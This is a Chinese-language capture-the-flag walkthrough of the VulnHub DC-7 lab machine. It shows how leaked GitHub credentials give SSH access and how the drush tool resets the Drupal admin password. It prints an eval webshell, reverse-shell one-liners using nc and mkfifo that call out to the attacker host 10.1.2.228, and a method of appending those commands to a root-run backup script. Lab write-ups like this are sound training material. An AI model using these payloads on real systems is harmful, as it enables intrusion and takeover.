VulnHub靶机 DC-7 实战打靶 详细渗透测试流程
目录
- VulnHub靶机 DC-7 实战打靶 详细渗透测试流程
- 一、将靶机配置文件导入虚拟机当中
- 二、渗透测试流程
- 主机发现
- 端口扫描
- 目录爆破
- web渗透
- 白盒测试
- ssh远程连接
- 提权
- 修改后台密码
- GETSHELL
- 反弹shell
一、将靶机配置文件导入虚拟机当中
靶机地址:
https://www.vulnhub.com/entry/dc-7,356/
二、渗透测试流程
主机发现
使用arp-scan命令或者使用nmap命令进行主机发现
arp-scan -l
端口扫描
nmap -p- 10.1.2.237
探测发现开放22端口SSH,80端口HTTP服务
详细探测服务信息
nmap -p80 -sV -A 10.1.2.237
目录爆破
发现后台
dirsearch -u http://10.1.2.237/ -i 200
尝试sql注入并未成功
web渗透
白盒测试
指纹识别
whatweb http://10.1.2.237/
访问web界面,通过界面提示,爆破是无法利用成功的,要跳出"盒子",说明可能是白盒测试
通过发现左下角有作者信息,那么来到github搜索一下,看有没有价值信息
通过github找到作者,翻找源码找到config配置文件,打开查看内容
找到配置文件config.php,其文件内容如下:
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
根据上述代码可得服务名称和用户名以及密码,还有数据库的名称,拿到以上信息尝试利用
后台登录:失败
数据库连接:失败
通过端口扫描发现还开放了22端口,尝试远程连接
ssh:成功
ssh远程连接
ssh dc7user@10.1.2.237
成功连接
提权
查找系统具备suid权限的指令
find / -perm -u=s -type f 2>/dev/null
发现没有什么可利用的,但发现有一封邮件,查看有无讯息
cat /var/mail/dc7user
发现可执行脚本信息,以及数据库文件相关的信息
逐一查看,查看执行备份的脚本
ls -l /opt/scripts/backups.sh
cat backups.sh
脚本属主为root,属组是www-data。
修改后台密码
通过脚本的内容,发现drush命令,对数据库进行了操作,以及打包备份操作。查一下drush相关命令内容
drush命令帮助如下:
可以使用drush来修改密码,更换后台的密码
drush user-password admin --password="admin"
第一次使用报错,来到网站目录再次执行即可
成功更改密码后,登录网站后台:
成功进行后台,来到插件位置,观察有无可代码执行或者getshell的地方
GETSHELL
- 在Content—>Add content–>Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码。
- 百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入
- PHP介绍页面如下,模块包下载地址附上
https://www.drupal.org/project/php
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
安装新模块,将链接填入即可
等待过后,安装成功
启用即可
来到扩展,安装
等待过后安装成功。
回到home,点击edit编辑,直接写入一句话木马
<?php @eval($_POST['cmd']);?>
写入后保存,注意选择php code
然后直接使用蚁剑进行连接,成功解析php
成功连接
获取www-data权限
反弹shell
//在虚拟终端当中执行反弹命令
nc -e /bin/bash 10.1.2.228 8888
kali成功接收shell,获取www-data权限
获取稳定shell
python -c "import pty;pty.spawn('/bin/bash')"
由于我们上一步骤已经得到了backups.sh脚本属主为root,属组为www-data,所以我们将反弹shell命令添加到脚本当中,等待执行脚本反弹shell即可得到root权限
//将反弹shell命令追加到文件当中
echo "nc -e /bin/bash 10.1.2.228 6666" >> backups.sh
或
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.1.2.228 6666 >/tmp/f" >> backups.sh
或者在webshell当中的文件管理直接写入
查看文件内容,确认写入成功
//直接执行或者等待计划任务执行即可
kali端成功接收到shell,成功提权,通关!
思路:
主机发现—端口扫描—目录爆破发现后台—服务探测—白盒测试(源码当中找配置文件)—ssh远程登录—邮件信息—找到备份文件脚本—发现脚本当中的drush命令—修改后台密码—进入后台—寻找可代码执行或getshell地方—drupal8不允许执行命令(模块)—下载新的插件—getshell—反弹shell—追加反弹命令—提权即可
文章不妥之处,欢迎批评指正!